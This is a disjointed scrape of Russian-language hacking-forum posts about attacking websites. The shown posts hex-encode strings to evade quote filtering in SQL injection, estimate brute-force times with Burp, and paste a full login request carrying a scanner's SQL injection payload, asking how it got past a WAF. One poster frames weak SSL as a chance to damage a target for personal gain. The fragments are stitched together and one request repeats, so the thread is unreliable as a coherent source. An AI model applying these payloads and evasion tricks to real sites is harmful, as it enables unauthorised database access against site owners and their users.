Добавлю от себя, если энкодинг не помог, можно попробовать hex значения, как минимум в случае с кавычками. Лично в моем вопросе сверху выручило. Берёте саму строчку без кавычек, которую нужно пропихнуть, переводите её в hex значение, и используете в формате 0x + hex. Пример:
SELECT sub.* FROM (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x61646d696e5f757365725f73657373696f6e) sub
Зачем словарь? в бурпе есть брутфорс. Но займет у тебя много времени, если 10 потоков в секунду будут получать ответ, то 115 дней полностью перебор по 8 символам займет, а может тебе повезет и в первую минуту поймаешь.
1) Это недостаток безопасности, а не уязвимость;
А с устаревшим ssl сертификатом можно что-то сделать?
Что-то можно, а что-то нет, всё зависит от таргета. Как тебе уже сказали, что хакер использует это как возможность....возможность развить атаку....возможность в итоге нанести ушёрб им и пользу себе.
Структура файлов вордпресс гуглиться на раз два. Думаю что сам уже решил данную потребность
Так же он тебе написал, чтобы пофиксить данную траблу, то нужно перейти на версию
т.е. окунь просто снял баннер и понял что протокол там старой версии
POST https://www.site.com/login.php HTTP/1.1
Host: www.site.com
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="txtEMail"
testing@example.com
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="txtPW"
u]H[ww6KrA9F.x-F
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="loginType"
Normal
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="process"
------------YWJkMTQzNDcw--А где в запросе окуня полезная нагрузка ?подскажите плиз как акунетикс увидел бд , а я и запрос норм делаю , все ровно не хочет открывать, правда там показывает что ваф , как это аунетикс тогда его обошел?
Код:POST https://www.site.com/login.php HTTP/1.1 Host: www.site.com Connection: Keep-alive ------------YWJkMTQzNDcw Content-Disposition: form-data; name="txtEMail" testing@example.com ------------YWJkMTQzNDcw Content-Disposition: form-data; name="txtPW" u]H[ww6KrA9F.x-F ------------YWJkMTQzNDcw Content-Disposition: form-data; name="loginType" Normal ------------YWJkMTQzNDcw Content-Disposition: form-data; name="process" ------------YWJkMTQzNDcw--
POST /admin/login.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMxxzNDcw
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: https://www.site.com/
Cookie: PHPSESSID=9e785a0aa2609xxxx31c6145b47a; humans_21909=1; cartNum=5368663
Content-Length: 397
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: www.site.com
Connection: Keep-alive
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="txtEMail"
-1' OR 3*2*1=6 AND 000255=000255 --
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="txtPW"
u]H[ww6KrA9F.x-F
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="loginType"
Normal
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="process"
------------YWJkMTQzNDcw--
чекай версию adminer, на даный момент известные експлоиты уже пофикшены и более 99 процентов пользователей перешли на последние версии этой среды
